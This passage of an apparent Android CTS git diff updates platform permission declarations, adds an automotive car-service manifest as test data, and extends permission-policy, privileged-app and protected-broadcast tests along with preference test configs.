-    <permission android:name="android.permission.SET_DISPLAY_OFFSET"
-                android:protectionLevel="signature|privileged" />
-
     <!-- ================================== -->
     <!-- Permissions affecting the system wallpaper -->
     <!-- ================================== -->
@@ -1943,6 +1984,15 @@
         android:description="@string/permdesc_setWallpaperHints"
         android:protectionLevel="normal" />
 
+    <!-- Allow the app to read the system wallpaper image without
+        holding the READ_EXTERNAL_STORAGE permission.
+        <p>Not for use by third-party applications.
+        @hide
+        @SystemApi
+    -->
+    <permission android:name="android.permission.READ_WALLPAPER_INTERNAL"
+        android:protectionLevel="signature|privileged" />
+
     <!-- ============================================ -->
     <!-- Permissions for changing the system clock -->
     <!-- ============================================ -->
@@ -2179,7 +2229,7 @@
 
     <!-- Allows an application to clear the caches of all installed
          applications on the device.
-         <p>Protection level: system|signature
+         <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.CLEAR_APP_CACHE"
         android:protectionLevel="signature|privileged" />
@@ -2222,13 +2272,13 @@
          it off to the installer components.
          @hide -->
     <permission android:name="android.permission.UPDATE_TIME_ZONE_RULES"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a time zone rule updater application,
          to ensure that only the system can trigger it.
          @hide -->
     <permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
     <uses-permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"/>
 
     <!-- Allows the system to reset throttling in shortcut manager.
@@ -2500,6 +2550,22 @@
     <permission android:name="android.permission.BIND_PRINT_RECOMMENDATION_SERVICE"
             android:protectionLevel="signature" />
 
+    <!-- Allows applications to get the installed and enabled print services.
+         @hide
+         @SystemApi
+         <p>Protection level: signature|preinstalled
+    -->
+    <permission android:name="android.permission.READ_PRINT_SERVICES"
+        android:protectionLevel="signature|preinstalled" />
+
+    <!-- Allows applications to get the currently recommended print services for printers.
+         @hide
+         @SystemApi
+         <p>Protection level: signature|preinstalled
+    -->
+    <permission android:name="android.permission.READ_PRINT_SERVICE_RECOMMENDATIONS"
+        android:protectionLevel="signature|preinstalled" />
+
     <!-- Must be required by a {@link android.nfc.cardemulation.HostApduService}
          or {@link android.nfc.cardemulation.OffHostApduService} to ensure that only
          the system can bind to it.
@@ -2540,7 +2606,7 @@
 
     <!-- Must be required by a {@link android.service.wallpaper.WallpaperService},
          to ensure that only the system can bind to it.
-         <p>Protection level: system|signature
+         <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_WALLPAPER"
         android:protectionLevel="signature|privileged" />
@@ -2577,7 +2643,7 @@
 
     <!-- Must be required by a {@link android.media.tv.TvInputService}
          to ensure that only the system can bind to it.
-         <p>Protection level: signature
+         <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_TV_INPUT"
         android:protectionLevel="signature|privileged" />
@@ -2599,12 +2665,24 @@
     <permission android:name="android.permission.TV_VIRTUAL_REMOTE_CONTROLLER"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to change HDMI CEC active source.
+         <p>Not for use by third-party applications.
+         @hide -->
+    <permission android:name="android.permission.CHANGE_HDMI_CEC_ACTIVE_SOURCE"
+        android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi Allows an application to modify parental controls
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.MODIFY_PARENTAL_CONTROLS"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows an application to read TvContentRatingSystemInfo
+         <p>Not for use by third-party applications.
+         @hide -->
+    <permission android:name="android.permission.READ_CONTENT_RATING_SYSTEMS"
+        android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi Allows an application to notify TV inputs by sending broadcasts.
          <p>Protection level: signature|privileged
          <p>Not for use by third-party applications.
@@ -2779,6 +2857,13 @@
     <permission android:name="android.permission.ACCESS_INPUT_FLINGER"
         android:protectionLevel="signature" />
 
+    <!-- Allows an application to disable/enable input devices.
+         Could be used to prevent unwanted touch events
+         on a touchscreen, for example during swimming or rain.
+         @hide -->
+    <permission android:name="android.permission.DISABLE_INPUT_DEVICE"
+        android:protectionLevel="signature" />
+
     <!-- Allows an application to configure and connect to Wifi displays
          @hide -->
     <permission android:name="android.permission.CONFIGURE_WIFI_DISPLAY"
@@ -3091,12 +3176,14 @@
     <permission android:name="android.permission.MANAGE_NETWORK_POLICY"
         android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows an application to account its network traffic against other UIDs. Used
-         by system services like download manager and media server. Not for use by
-         third party apps. @hide -->
+    <!-- @SystemApi @hide @deprecated use UPDATE_DEVICE_STATS instead -->
     <permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows an application to manage carrier subscription plans. -->
+    <permission android:name="android.permission.MANAGE_SUBSCRIPTION_PLANS"
+        android:protectionLevel="signature|privileged" />
+
     <!-- C2DM permission.
          @hide Used internally.
      -->
@@ -3170,6 +3257,11 @@
     <permission android:name="android.permission.MANAGE_NOTIFICATIONS"
                 android:protectionLevel="signature" />
 
+    <!-- Allows notifications to be colorized
+         <p>Not for use by third-party applications. @hide -->
+    <permission android:name="android.permission.USE_COLORIZED_NOTIFICATIONS"
+                android:protectionLevel="signature|setup" />
+
     <!-- Allows access to keyguard secure storage.  Only allowed for system processes.
         @hide -->
     <permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
@@ -3320,7 +3412,7 @@
     <!-- The system process that is allowed to bind to services in carrier apps will
          have this permission. Carrier apps should use this permission to protect
          their services that only the system is allowed to bind to.
-         <p>Protection level: system|signature
+         <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_CARRIER_SERVICES"
         android:label="@string/permlab_bindCarrierServices"
@@ -3425,6 +3517,11 @@
     <permission android:name="android.permission.ACCESS_VR_MANAGER"
             android:protectionLevel="signature" />
 
+    <!-- Required to access VR-Mode state and state change events via {android.app.VrStateCallback}
+         @hide -->
+    <permission android:name="android.permission.ACCESS_VR_STATE"
+        android:protectionLevel="signature|preinstalled" />
+
     <!-- Allows an application to whitelist tasks during lock task mode
          @hide <p>Not for use by third-party applications.</p> -->
     <permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
@@ -3454,7 +3551,7 @@
 
     <!-- Allows an instant app to create foreground services. -->
     <permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
-        android:protectionLevel="signature|development|ephemeral|appop" />
+        android:protectionLevel="signature|development|instant|appop" />
 
     <application android:process="system"
                  android:persistent="true"
@@ -3790,6 +3887,11 @@
         <service android:name="com.android.server.PreloadsFileCacheExpirationJobService"
                  android:permission="android.permission.BIND_JOB_SERVICE" >
         </service>
+
+        <service android:name="com.android.server.camera.CameraStatsJobService"
+                 android:permission="android.permission.BIND_JOB_SERVICE" >
+        </service>
+
     </application>
 
 </manifest>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
new file mode 100644
index 0000000..4a68183
--- /dev/null
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -0,0 +1,203 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+        package="com.android.car"
+        coreApp="true"
+        android:sharedUserId="android.uid.system">
+
+    <original-package android:name="com.android.car" />
+
+    <permission-group
+        android:name="android.car.permission-group.CAR_INFORMATION"
+        android:icon="@drawable/car_ic_mode"
+        android:description="@string/car_permission_desc"
+        android:label="@string/car_permission_label" />
+    <permission
+        android:name="android.car.permission.CAR_CABIN"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_cabin"
+        android:description="@string/car_permission_desc_cabin" />
+    <permission
+        android:name="android.car.permission.CAR_CAMERA"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_camera"
+        android:description="@string/car_permission_desc_camera" />
+    <permission
+        android:name="android.car.permission.CAR_FUEL"
+        android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+        android:protectionLevel="dangerous"
+        android:label="@string/car_permission_label_fuel"
+        android:description="@string/car_permission_desc_fuel" />
+    <permission
+        android:name="android.car.permission.CAR_HVAC"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_hvac"
+        android:description="@string/car_permission_desc_hvac" />
+    <permission
+        android:name="android.car.permission.CAR_MILEAGE"
+        android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+        android:protectionLevel="dangerous"
+        android:label="@string/car_permission_label_mileage"
+        android:description="@string/car_permission_desc_mileage" />
+    <permission
+        android:name="android.car.permission.CAR_SPEED"
+        android:permissionGroup="android.permission-group.LOCATION"
+        android:protectionLevel="dangerous"
+        android:label="@string/car_permission_label_speed"
+        android:description="@string/car_permission_desc_speed" />
+    <permission
+        android:name="android.car.permission.VEHICLE_DYNAMICS_STATE"
+        android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+        android:protectionLevel="dangerous"
+        android:label="@string/car_permission_label_vehicle_dynamics_state"
+        android:description="@string/car_permission_desc_vehicle_dynamics_state" />
+    <permission
+        android:name="android.car.permission.CAR_VENDOR_EXTENSION"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_vendor_extension"
+        android:description="@string/car_permission_desc_vendor_extension" />
+    <permission
+        android:name="android.car.permission.CAR_RADIO"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_radio"
+        android:description="@string/car_permission_desc_radio" />
+    <permission
+        android:name="android.car.permission.CAR_PROJECTION"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_projection"
+        android:description="@string/car_permission_desc_projection" />
+    <permission
+        android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_mock_vehicle_hal"
+        android:description="@string/car_permission_desc_mock_vehicle_hal" />
+    <permission
+        android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_car_navigation_manager"
+        android:description="@string/car_permission_desc_car_navigation_manager" />
+    <permission
+      android:name="android.car.permission.DIAGNOSTIC_READ_ALL"
+      android:protectionLevel="system|signature"
+      android:label="@string/car_permission_label_diag_read"
+      android:description="@string/car_permission_desc_diag_read" />
+    <permission
+      android:name="android.car.permission.DIAGNOSTIC_CLEAR"
+      android:protectionLevel="system|signature"
+      android:label="@string/car_permission_label_diag_clear"
+      android:description="@string/car_permission_desc_diag_clear" />
+    <permission
+        android:name="android.car.permission.VMS_PUBLISHER"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_vms_publisher"
+        android:description="@string/car_permission_desc_vms_publisher" />
+    <permission
+        android:name="android.car.permission.VMS_SUBSCRIBER"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_vms_subscriber"
+        android:description="@string/car_permission_desc_vms_subscriber" />
+
+    <!--  may replace this with system permission if proper one is defined. -->
+    <permission
+        android:name="android.car.permission.CONTROL_APP_BLOCKING"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_control_app_blocking"
+        android:description="@string/car_permission_desc_control_app_blocking" />
+
+    <permission
+        android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_audio_volume"
+        android:description="@string/car_permission_desc_audio_volume" />
+
+    <permission
+        android:name="android.car.permission.CAR_CONTROL_AUDIO_SETTINGS"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_audio_settings"
+        android:description="@string/car_permission_desc_audio_settings" />
+
+    <permission
+            android:name="android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE"
+            android:protectionLevel="signature"
+            android:label="@string/car_permission_label_bind_instrument_cluster_rendering"
+            android:description="@string/car_permission_desc_bind_instrument_cluster_rendering"/>
+
+    <permission
+            android:name="android.car.permission.BIND_CAR_INPUT_SERVICE"
+            android:protectionLevel="signature"
+            android:label="@string/car_permission_label_bind_input_service"
+            android:description="@string/car_permission_desc_bind_input_service"/>
+
+    <permission
+            android:name="android.car.permission.CAR_DISPLAY_IN_CLUSTER"
+            android:protectionLevel="system|signature"
+            android:label="@string/car_permission_car_display_in_cluster"
+            android:description="@string/car_permission_desc_car_display_in_cluster" />
+
+    <permission android:name="android.car.permission.CAR_INSTRUMENT_CLUSTER_CONTROL"
+                android:protectionLevel="system|signature"
+                android:label="@string/car_permission_car_cluster_control"
+                android:description="@string/car_permission_desc_car_cluster_control" />
+
+    <permission android:name="android.car.permission.STORAGE_MONITORING"
+        android:protectionLevel="system|signature"
+        android:label="@string/car_permission_label_storage_monitoring"
+        android:description="@string/car_permission_desc_storage_monitoring" />
+
+    <uses-permission android:name="android.permission.CALL_PHONE" />
+    <uses-permission android:name="android.permission.DEVICE_POWER" />
+    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL" />
+    <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_ROUTING" />
+    <uses-permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE" />
+    <uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.REAL_GET_TASKS" />
+    <uses-permission android:name="android.permission.REBOOT" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.REMOVE_TASKS" />
+    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.BLUETOOTH" />
+    <uses-permission android:name="android.permission.MANAGE_USERS" />
+
+    <application android:label="Car service"
+                 android:directBootAware="true"
+                 android:allowBackup="false"
+                 android:persistent="true">
+
+       
+        <uses-library android:name="android.test.runner" />
+ <service android:name=".CarService"
+                android:singleUser="true">
+            <intent-filter>
+                <action android:name="android.car.ICar" />
+            </intent-filter>
+        </service>
+        <service android:name=".PerUserCarService" android:exported="false" />
+        <activity android:name="com.android.car.pm.ActivityBlockingActivity"
+                  android:excludeFromRecents="true"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index a3b002a..90aa864 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -16,8 +16,12 @@
 
 package android.permission2.cts;
 
+import static android.os.Build.VERSION.SECURITY_PATCH;
+
+import android.content.Context;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.PermissionGroupInfo;
 import android.content.pm.PermissionInfo;
 import android.test.AndroidTestCase;
@@ -26,10 +30,10 @@
 import android.util.ArraySet;
 import android.util.Log;
 import android.util.Xml;
+
 import org.xmlpull.v1.XmlPullParser;
 
 import java.io.InputStream;
-import java.lang.String;
 import java.text.ParseException;
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
@@ -38,8 +42,6 @@
 import java.util.Map;
 import java.util.Set;
 
-import static android.os.Build.VERSION.SECURITY_PATCH;
-
 /**
  * Tests for permission policy on the platform.
  */
@@ -58,6 +60,8 @@
 
     private static final String PLATFORM_ROOT_NAMESPACE = "android.";
 
+    private static final String AUTOMOTIVE_SERVICE_PACKAGE_NAME = "com.android.car";
+
     private static final String TAG_PERMISSION = "permission";
 
     private static final String ATTR_NAME = "name";
@@ -65,14 +69,10 @@
     private static final String ATTR_PROTECTION_LEVEL = "protectionLevel";
 
     public void testPlatformPermissionPolicyUnaltered() throws Exception {
-        PackageInfo platformPackage = getContext().getPackageManager()
-                .getPackageInfo(PLATFORM_PACKAGE_NAME, PackageManager.GET_PERMISSIONS);
-        Map<String, PermissionInfo> declaredPermissionsMap = new ArrayMap<>();
-        List<String> offendingList = new ArrayList<String>();
+        Map<String, PermissionInfo> declaredPermissionsMap =
+                getPermissionsForPackage(getContext(), PLATFORM_PACKAGE_NAME);
 
-        for (PermissionInfo declaredPermission : platformPackage.permissions) {
-            declaredPermissionsMap.put(declaredPermission.name, declaredPermission);
-        }
+        List<String> offendingList = new ArrayList<>();
 
         List<PermissionGroupInfo> declaredGroups = getContext().getPackageManager()
                 .getAllPermissionGroups(0);
@@ -81,9 +81,16 @@
             declaredGroupsSet.add(declaredGroup.name);
         }
 
-        Set<String> expectedPermissionGroups = new ArraySet<String>();
+        Set<String> expectedPermissionGroups = new ArraySet<>();
+        List<PermissionInfo> expectedPermissions = loadExpectedPermissions(R.raw.android_manifest);
 
-        for (PermissionInfo expectedPermission : loadExpectedPermissions()) {
+        if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            expectedPermissions.addAll(loadExpectedPermissions(R.raw.automotive_android_manifest));
+            declaredPermissionsMap.putAll(
+                    getPermissionsForPackage(getContext(), AUTOMOTIVE_SERVICE_PACKAGE_NAME));
+        }
+
+        for (PermissionInfo expectedPermission : expectedPermissions) {
             String expectedPermissionName = expectedPermission.name;
             if (shouldSkipPermission(expectedPermissionName)) {
                 // This permission doesn't need to exist yet, but will exist in
@@ -141,7 +148,7 @@
 
                 if (!declaredGroupsSet.contains(declaredPermission.group)) {
                     offendingList.add(
-                            "Permission group " + expectedPermission.group + "must be defined");
+                            "Permission group " + expectedPermission.group + " must be defined");
                 }
             }
         }
@@ -158,7 +165,7 @@
             if (!expectedPermissionGroups.contains(declaredGroup.name)) {
                 if (declaredGroup.name != null) {
                     if (declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
-                            || declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE)) {
+                            && declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE)) {
                         offendingList.add(
                                 "Cannot define group "
                                         + declaredGroup.name
@@ -173,8 +180,8 @@
         // OEMs cannot define new ephemeral permissions
         for (String permission : declaredPermissionsMap.keySet()) {
             PermissionInfo info = declaredPermissionsMap.get(permission);
-            if ((info.protectionLevel & PermissionInfo.PROTECTION_FLAG_EPHEMERAL) != 0) {
-                offendingList.add("Cannot define new ephemeral permission " + permission);
+            if ((info.protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTANT) != 0) {
+                offendingList.add("Cannot define new instant permission " + permission);
             }
         }
 
@@ -186,12 +193,9 @@
         assertTrue(errMsg, offendingList.isEmpty());
     }
 
-    private List<PermissionInfo> loadExpectedPermissions() throws Exception {
+    private List<PermissionInfo> loadExpectedPermissions(int resourceId) throws Exception {
         List<PermissionInfo> permissions = new ArrayList<>();
-        try (
-                InputStream in = getContext().getResources()
-                        .openRawResource(android.permission2.cts.R.raw.android_manifest)
-        ) {
+        try (InputStream in = getContext().getResources().openRawResource(resourceId)) {
             XmlPullParser parser = Xml.newPullParser();
             parser.setInput(in, null);
 
@@ -262,8 +266,8 @@
                 case "setup": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SETUP;
                 } break;
-                case "ephemeral": {
-                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_EPHEMERAL;
+                case "instant": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_INSTANT;
                 } break;
                 case "runtime": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
@@ -273,6 +277,18 @@
         return protectionLevel;
     }
 
+    private static Map<String, PermissionInfo> getPermissionsForPackage(Context context, String pkg)
+            throws NameNotFoundException {
+        PackageInfo packageInfo = context.getPackageManager()
+                .getPackageInfo(pkg, PackageManager.GET_PERMISSIONS);
+        Map<String, PermissionInfo> declaredPermissionsMap = new ArrayMap<>();
+
+        for (PermissionInfo declaredPermission : packageInfo.permissions) {
+            declaredPermissionsMap.put(declaredPermission.name, declaredPermission);
+        }
+        return declaredPermissionsMap;
+    }
+
     private static Date parseDate(String date) {
         Date patchDate = new Date();
         try {
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
index 11dfb99..f85314e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -94,21 +94,26 @@
                 Set<String> notGranted = new TreeSet<>(requestedPrivPermissions);
                 notGranted.removeAll(grantedPrivPermissions);
                 Set<String> whitelist = getPrivAppPermissions(pkg.packageName);
-                Log.i(TAG, "Application " + pkg.packageName + ". Requested permissions: "
-                        + requestedPrivPermissions + ". Granted permissions: "
-                        + grantedPrivPermissions + ". Not granted: " + notGranted + " Whitelisted: "
-                        + whitelist);
+                Set<String> denylist = getPrivAppDenyPermissions(pkg.packageName);
+                Log.i(TAG, "Application " + pkg.packageName + "."
+                        + " Requested permissions: " + requestedPrivPermissions + "."
+                        + " Granted permissions: " + grantedPrivPermissions + "."
+                        + " Not granted: " + notGranted + "."
+                        + " Whitelisted: " + whitelist + "."
+                        + " Denylisted: " + denylist);
 
                 Set<String> grantedNotInWhitelist = new TreeSet<>(grantedPrivPermissions);
                 grantedNotInWhitelist.removeAll(whitelist);
+                Set<String> notGrantedNotInDenylist = new TreeSet<>(notGranted);
+                notGrantedNotInDenylist.removeAll(denylist);
 
                 assertTrue("Not whitelisted permissions are granted for package "
                                 + pkg.packageName + ": " + grantedNotInWhitelist,
                         grantedNotInWhitelist.isEmpty());
 
                 assertTrue("Requested permissions not granted for package "
-                                + pkg.packageName + ": " + notGranted,
-                        notGranted.isEmpty());
+                                + pkg.packageName + ": " + notGrantedNotInDenylist,
+                        notGrantedNotInDenylist.isEmpty());
             }
         }
     }
@@ -124,4 +129,15 @@
         return Collections.emptySet();
     }
 
+    private Set<String> getPrivAppDenyPermissions(String packageName) throws IOException {
+        String output = SystemUtil.runShellCommand(
+                InstrumentationRegistry.getInstrumentation(),
+                "cmd package get-privapp-deny-permissions " + packageName).trim();
+        if (output.startsWith("{") && output.endsWith("}")) {
+            String[] split = output.substring(1, output.length() - 1).split("\\s*,\\s*");
+            return new LinkedHashSet<>(Arrays.asList(split));
+        }
+        return Collections.emptySet();
+    }
+
 }
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 534481e..2f155d8 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -17,6 +17,7 @@
 package android.permission2.cts;
 
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
 /**
@@ -47,21 +48,7 @@
         Intent.ACTION_SHUTDOWN,
         Intent.ACTION_DEVICE_STORAGE_LOW,
         Intent.ACTION_DEVICE_STORAGE_OK,
-        Intent.ACTION_NEW_OUTGOING_CALL,
         Intent.ACTION_REBOOT,
-        "android.intent.action.SERVICE_STATE",
-        "android.intent.action.RADIO_TECHNOLOGY",
-        "android.intent.action.EMERGENCY_CALLBACK_MODE_CHANGED",
-        "android.intent.action.SIG_STR",
-        "android.intent.action.ANY_DATA_STATE",
-        "android.intent.action.DATA_CONNECTION_FAILED",
-        "android.intent.action.SIM_STATE_CHANGED",
-        "android.intent.action.NETWORK_SET_TIME",
-        "android.intent.action.NETWORK_SET_TIMEZONE",
-        "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
-        "android.intent.action.ACTION_MDN_STATE_CHANGED",
-        "android.provider.Telephony.SPN_STRINGS_UPDATED",
-        "android.intent.action.ANY_DATA_STATE",
         "com.android.server.WifiManager.action.START_SCAN",
         "com.android.server.WifiManager.action.DELAYED_DRIVER_STOP",
         "android.net.wifi.WIFI_STATE_CHANGED",
@@ -81,7 +68,24 @@
         "android.net.wifi.p2p.PERSISTENT_GROUPS_CHANGED",
         "android.net.conn.TETHER_STATE_CHANGED",
         "android.net.conn.INET_CONDITION_ACTION",
-        "android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED"
+        "android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED",
+        "com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER"
+    };
+
+    private static final String BROADCASTS_TELEPHONY[] = new String[] {
+        Intent.ACTION_NEW_OUTGOING_CALL,
+        "android.intent.action.SERVICE_STATE",
+        "android.intent.action.SIG_STR",
+        "android.intent.action.RADIO_TECHNOLOGY",
+        "android.intent.action.ANY_DATA_STATE",
+        "android.intent.action.ACTION_MDN_STATE_CHANGED",
+        "android.provider.Telephony.SPN_STRINGS_UPDATED",
+        "android.intent.action.EMERGENCY_CALLBACK_MODE_CHANGED",
+        "android.intent.action.SIM_STATE_CHANGED",
+        "android.intent.action.DATA_CONNECTION_FAILED",
+        "android.intent.action.NETWORK_SET_TIME",
+        "android.intent.action.NETWORK_SET_TIMEZONE",
+        "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
     };
 
     /**
@@ -98,4 +102,19 @@
             }
         }
     }
+
+    public void testSendProtectedTelephonyBroadcasts() {
+        if (!getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        for (String action : BROADCASTS_TELEPHONY) {
+            try {
+                Intent intent = new Intent(action);
+                getContext().sendBroadcast(intent);
+                fail("expected security exception broadcasting telephony action: " + action);
+            } catch (SecurityException expected) {
+                assertNotNull("security exception's error message.", expected.getMessage());
+            }
+        }
+    }
 }
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index c56ced8..9223ce8 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
diff --git a/tests/tests/preference/AndroidTest.xml b/tests/tests/preference/AndroidTest.xml
index 2d3f098..f26d282 100644
--- a/tests/tests/preference/AndroidTest.xml
+++ b/tests/tests/preference/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Preference test cases">
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPreferenceTestCases.apk" />
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index b5fb0a2..7529f43 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
index 731dbfb..253f8f6 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
@@ -487,14 +487,29 @@
         // Go to preferences inner fragment.
         mTestUtils.tapOnViewWithText(INNER_FRAGMENT_PREF_BUTTON);
 
-        // We don't need to check that correct panel is displayed that is already covered by
-        // smallScreenGoToFragmentInner and largeScreenGoToFragmentInner
+        // Only inner fragment must be shown.
+        if (shouldRunLargeDeviceTest()) {
+            assertHeadersShown();
+        } else {
+            assertHeadersHidden();
+        }
+        assertPanelPrefs1Hidden();
+        assertInnerFragmentShown();
 
         // Take screenshot
         Bitmap before = mTestUtils.takeScreenshot();
 
         recreate();
 
+        // Only inner fragment must be shown.
+        if (shouldRunLargeDeviceTest()) {
+            assertHeadersShown();
+        } else {
+            assertHeadersHidden();
+        }
+        assertPanelPrefs1Hidden();
+        assertInnerFragmentShown();
+
         // Compare screenshots
         Bitmap after = mTestUtils.takeScreenshot();
         assertScreenshotsAreEqual(before, after);
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
index 6fdeff4..b5c02f1 100644
--- a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
